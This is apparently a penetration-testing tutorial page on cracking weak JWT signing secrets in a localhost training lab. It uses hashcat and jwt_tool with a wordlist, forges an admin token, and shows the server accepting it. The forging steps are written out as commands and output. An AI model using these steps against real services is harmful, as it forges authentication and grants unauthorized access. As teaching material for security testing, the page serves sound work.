# Weak Signature

{% hint style="success" %}
JWT has a **weak signature** when the cryptographic algorithm used to sign the token is insecure or when the secret key is weak. This vulnerability allows attackers to forge or manipulate JWTs by exploiting predictable or easily guessable signatures. Weak signatures compromise the integrity and authenticity of the JWT, potentially leading to unauthorized access or data breaches.
{% endhint %}

> _The below example is based on TCM's_ [_Practical API Hacking_](https://academy.tcm-sec.com/p/hacking-apis) _course._

{% hint style="info" %}
_List with well-known secrets:_ [_jwt.secrets.list_](https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list)_._
{% endhint %}

{% code overflow="wrap" %}
```bash
# Logging in with valid creds
$ curl -X POST http://localhost/login -H 'Content-Type: application/json' --data '{"username":"user","password":"user"}'
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJ1c2VyIiwiaWF0IjoxNzE5Mjk1MTA5fQ.aUlvUvP4XbodwpBalrS-1t70Sqx7FxQCvBrmwT8oCDM"}

# Brute forcing the secret
hashcat -a0 -m16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJ1c2VyIiwiaWF0IjoxNzE5Mjk1MTA5fQ.aUlvUvP4XbodwpBalrS-1t70Sqx7FxQCvBrmwT8oCDM /usr/share/wordlists/rockyou
<SNIP>
eyJ...<SNIP>...CDM:ucyxu6
<SNIP>

# We can also crack the JWT secret with jwt_tool
$ jwt_tool -C -d /usr/share/wordlists/rockyou 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ==.BmzWWVFXmJsqH7K9dTxCyCopRB0HHFvCYKCfwW+8We4='

Original JWT:

[+] coffee is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S hs256 -p "coffee"
```
{% endcode %}

{% hint style="info" %}
_Hashcat signs the header and payload from the JWT using each wordlist secret and compares the resulting signature with the original one (_[_16500_](https://hashcat.net/wiki/doku.php?id=example_hashes)_)._
{% endhint %}

<figure><img src="https://2056709691-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFqURPjUnKKhebI962QD8%2Fuploads%2FnMIG5FIMUfHmowN6kkQP%2Fjwt_weak_signature.png?alt=media&#x26;token=e8392532-c9d0-4d79-823f-d775741933a1" alt=""><figcaption><p>Figure 1: Tampering with the JWT's <code>userid</code> claim.</p></figcaption></figure>

{% code overflow="wrap" %}
```bash
# Testing the token
$ curl -i http://localhost/dashboard -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJhZG1pbiIsImlhdCI6MTcxOTI5NTEwOX0.py2v7_Kqtexh4Cq8hqBdEV8wiCr8p6x9eeZFNGlKW4U'
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 45
ETag: W/"2d-bqbMS3LH08+zkhZI3cPwYShjqaE"
Date: Tue, 25 Jun 2024 06:09:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"message":"Welcome to your dashboard admin"}
```
{% endcode %}

We can also tamper the required claims using `jwt_tool`.

{% code overflow="wrap" %}
```bash
# Tampering with the JWT
$ jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJ1c2VyIiwiaWF0IjoxNzE5Mjk1MTA5fQ.aUlvUvP4XbodwpBalrS-1t70Sqx7FxQCvBrmwT8oCDM -T -S hs256 -p 'ucyxu6'

Original JWT:

====================================================================
This option allows you to tamper with the header, contents and
signature of the JWT.
====================================================================

Token header values:
[1] alg = "HS256"
[2] typ = "JWT"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] userid = "user"
[2] iat = 1719295109    ==> TIMESTAMP = 2024-06-25 06:58:29 (UTC)
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[5] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 1

Current value of userid is: user
Please enter new value and hit ENTER
> admin
[1] userid = "admin"
[2] iat = 1719295109    ==> TIMESTAMP = 2024-06-25 06:58:29 (UTC)
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[5] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0
jwttool_8043cf61f00c28f7a057cdc20df41290 - Tampered token - HMAC Signing:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJhZG1pbiIsImlhdCI6MTcxOTI5NTEwOX0.py2v7_Kqtexh4Cq8hqBdEV8wiCr8p6x9eeZFNGlKW4U
```
{% endcode %}

We can also tamper the JWT's claim using the Burp's [JWT Editor](https://portswigger.net/burp/documentation/desktop/testing-workflow/session-management/jwts#editing-jwts) extension (Figure 2).

> _The below example is base on PortSwigger's_ [_JWT attacks_](https://portswigger.net/web-security/jwt) _module._

<figure><img src="https://2056709691-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFqURPjUnKKhebI962QD8%2Fuploads%2FzzDgYhOgsQTJ8BgtJZRf%2Fjwt_weak_signature_1.png?alt=media&#x26;token=9ffed899-2b51-4bf7-97e3-a544ce2989d9" alt=""><figcaption><p>Figure 2: JWT tampering with Burp's JWT Editor extension.</p></figcaption></figure>
